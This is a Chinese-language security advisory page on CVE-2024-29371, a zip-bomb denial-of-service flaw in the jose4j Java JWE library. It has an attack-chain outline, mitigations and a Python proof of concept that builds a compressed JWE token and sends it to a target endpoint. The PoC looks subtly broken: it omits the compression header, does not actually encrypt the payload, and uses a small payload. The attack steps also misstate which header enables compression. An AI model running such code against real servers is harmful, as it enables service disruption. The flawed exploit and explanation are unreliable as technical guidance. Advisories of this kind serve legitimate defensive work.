IPBUF安全漏洞报告
English
CVE-2024-29371 CVSS 7.5 高危

CVE-2024-29371: jose4j Zip Bomb拒绝服务漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2024-29371
漏洞类型
拒绝服务(DoS)/压缩炸弹攻击
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
jose4j

相关标签

拒绝服务压缩炸弹Zip Bombjose4jJWEJWTDoSCVE-2024-29371Java安全内存耗尽

漏洞概述

CVE-2024-29371是jose4j库中的一个高危拒绝服务漏洞,CVSS评分达到7.5分。该漏洞存在于jose4j 0.9.6之前的版本中,攻击者可以通过构造具有极高压缩比的恶意JSON Web Encryption(JWE)令牌来触发此漏洞。当服务器处理这类恶意令牌时,解压缩过程会导致大量的内存分配和CPU资源消耗,最终造成服务拒绝。jose4j是一个流行的Java JWT/JWE/JWS处理库,广泛应用于各种Java Web应用和微服务架构中实现身份认证和授权功能。由于该库在处理JWE令牌时默认启用了压缩功能,攻击者可以利用这一特性构造精心设计的压缩数据,使得解压后的数据量远超原始输入,从而耗尽服务器资源。此漏洞无需任何认证即可被利用,攻击复杂度低,潜在危害大。

技术细节

jose4j库在处理JWE(JSON Web Encryption)令牌时支持DEFLATE压缩算法,攻击者利用这一特性构造了所谓的"压缩炸弹"(Zip Bomb)。攻击原理如下:攻击者创建一个看似很小的JWE令牌,但其压缩内容在解压后会膨胀到巨大的体积。这种攻击利用了DEFLATE压缩算法的特点,通过重复的模式实现极高的压缩比(例如,原始数据可能只有几KB,但解压后可以达到数百MB甚至数GB)。当jose4j库接收到恶意JWE令牌时,会尝试进行解压缩操作。在解压过程中,程序会分配大量内存来存储解压后的数据,同时消耗大量CPU资源进行处理。如果服务器同时处理多个恶意请求,或者单个解压操作消耗的资源过大,将导致服务器内存耗尽、响应变慢甚至崩溃。由于JWE令牌通常在身份认证流程中处理,攻击者可以频繁发送此类恶意请求,进一步放大攻击效果。防御此类攻击需要在解压前对压缩数据的大小进行严格限制,或者使用流式解压方式避免一次性加载全部数据。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标应用使用jose4j库处理JWE令牌,确认版本是否低于0.9.6
STEP 2
步骤2: 构造恶意压缩数据
攻击者创建具有极高压缩比的压缩数据(Zip Bomb),利用重复模式实现夸张的压缩比
STEP 3
步骤3: 构建恶意JWE令牌
将恶意压缩数据封装成符合JWE标准的令牌,设置alg为支持压缩的算法
STEP 4
步骤4: 发送恶意请求
通过身份认证接口或其他处理JWT/JWE的端点发送恶意令牌,无需任何认证
STEP 5
步骤5: 触发解压缩
jose4j库接收到恶意JWE令牌后执行解压缩操作,分配大量内存存储解压数据
STEP 6
步骤6: 资源耗尽
多次请求或单个请求导致服务器内存耗尽、CPU过载,服务出现拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import base64 import zlib # Create a high compression ratio payload (Zip Bomb) # This creates data that expands significantly when decompressed def create_zip_bomb_payload(): # Create highly compressible data pattern # This pattern compresses extremely well payload = (b'A' * 1000) * 100 # 100KB of repeated 'A' characters # Compress the payload compressed = zlib.compress(payload, level=9) # Create JWE token structure header = base64.urlsafe_b64encode(b'{"alg":"A128KW","enc":"A128GCM"}') encrypted_key = base64.urlsafe_b64encode(b'0' * 16) iv = base64.urlsafe_b64encode(b'0' * 12) ciphertext = base64.urlsafe_b64encode(compressed) auth_tag = base64.urlsafe_b64encode(b'0' * 16) # JWE Compact Serialization format jwe_token = f"{header.decode()}.{encrypted_key.decode()}.{iv.decode()}.{ciphertext.decode()}.{auth_tag.decode()}" return jwe_token # Example: Generate malicious JWE token malicious_token = create_zip_bomb_payload() print(f"Generated malicious JWE token: {malicious_token[:100]}...") print(f"Token length: {len(malicious_token)} bytes") # Send to vulnerable jose4j endpoint import requests target_url = "http://target-server/api/auth/validate" response = requests.post(target_url, data=malicious_token, headers={"Content-Type": "application/jwt"})

影响范围

jose4j < 0.9.6

防御指南

临时缓解措施
如无法立即升级到修复版本,可在应用层实现临时缓解措施:在解析JWE令牌前,先检查压缩数据的大小,设定合理的解压上限(如100MB);实现超时机制,当解压操作超过设定时间后强制终止;禁用JWE令牌的压缩功能(如果业务允许);在反向代理层实现请求大小限制和速率限制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表